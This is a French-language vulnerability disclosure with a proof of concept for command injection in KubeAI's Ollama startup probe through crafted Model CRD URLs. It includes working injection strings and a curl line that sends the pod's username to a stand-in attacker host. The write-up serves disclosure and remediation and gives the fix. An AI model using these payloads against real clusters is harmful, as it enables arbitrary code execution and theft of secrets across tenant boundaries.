
Preuve de concept pour l'injection de commandes OS dans la sonde de démarrage Ollama de KubeAI, démontrant l'exécution de code arbitraire dans les pods de modèles Kubernetes via des URL de CRD Model forgées.
Gravité : Élevée (CVSS 8.7)
CWE : CWE-78 — Neutralisation incorrecte des éléments spéciaux utilisés dans une commande OS
Affecté : github.com/kubeai-project/kubeai <= 0.23.1
Corrigé dans : 0.23.2
Avis : GHSA-324q-cwx9-7crr
NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-34940
Crédit : Romain Deperne
KubeAI construit un script shell de sonde de démarrage Kubernetes en interpolant les composants d'URL du CRD Model (ref, modelParam) dans une commande bash -c via fmt.Sprintf en Go. Les métacaractères shell présents dans l'URL ne sont pas assainis, ce qui permet à tout utilisateur disposant des droits RBAC de création/mise à jour du CRD Model d'exécuter des commandes arbitraires à l'intérieur des pods de serveur de modèle — sans privilèges cluster-admin.
Je m'intéressais aux opérateurs d'inférence IA pour Kubernetes — des outils qui permettent de déployer des LLM comme charges de travail K8s en créant des CRD. KubeAI prend en charge Ollama, vLLM et d'autres moteurs. Mon hypothèse était la suivante : si un utilisateur peut créer des CRD Model, peut-il influencer ce qui s'exécute à l'intérieur des pods de modèle ?
Le code du moteur vLLM montrait immédiatement le bon schéma : des arguments passés sous forme de tableau de chaînes à exec, sans implication du shell. J'ai donc examiné le moteur Ollama par contraste — et j'ai trouvé fmt.Sprintf("%s %s", pullCmd, u.ref) alimentant un bash -c. Configuration classique d'injection shell.
C'est la regex du parseur d'URL [^?]+ (tout sauf ?) qui scelle l'affaire : les points-virgules, les backticks et $() sont tous valides dans u.ref. J'ai écrit le YAML PoC, l'ai appliqué, et j'ai observé id > /tmp/pwned s'exécuter à l'intérieur du pod de modèle.
La nuance qui élève la gravité de cette vulnérabilité : dans les clusters K8s multi-tenant, le RBAC du CRD Model est souvent accordé à des équipes qui ne sont explicitement pas administrateurs de cluster. Cela offre à un tenant disposant de privilèges restreints un chemin direct vers l'exécution de code arbitraire dans les pods de modèle — y compris l'accès aux secrets montés et aux jetons de compte de service. Cela franchit une frontière de privilèges que le RBAC de K8s est censé faire respecter.
Fichier : internal/modelcontroller/engine_ollama.go, lignes 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
Cette chaîne est ensuite exécutée comme suit :
Command: []string{"bash", "-c", startupProbeScript}
Analyseur d'URL (model_source.go) :
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
Contraste avec le moteur vLLM (sûr) :
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Le moteur Ollama emprunte un raccourci : il construit un pipeline shell multi-étapes sous forme de chaîne et le passe à bash -c. Le moteur vLLM utilise des tableaux d'arguments de style exec. Aucun webhook d'admission ni validation de schéma CRD ne restreint le champ URL à des caractères sûrs.
Voir poc.yaml — appliquer avec kubectl apply -f poc.yaml sur un cluster exécutant KubeAI avec des modèles Ollama.
Vecteur 1 — référence d'URL ollama:// (injection par point-virgule) :
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
Sonde de démarrage générée :
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
La commande id>/tmp/pwned s'exécute et écrit uid=0(root)... dans /tmp/pwned à l'intérieur du pod.
Vecteur 2 — paramètre de requête ?model= (exfiltration OOB) :
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Sonde générée :
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
Exfiltre le nom d'utilisateur du pod vers un serveur contrôlé par l'attaquant.
ModelRemplacer bash -c <string> par une sonde de style exec passant les arguments sous forme de tableau (comme le fait déjà le moteur vLLM), ou valider les champs d'URL par rapport à ^[a-zA-Z0-9._:/-]+$ avant l'interpolation.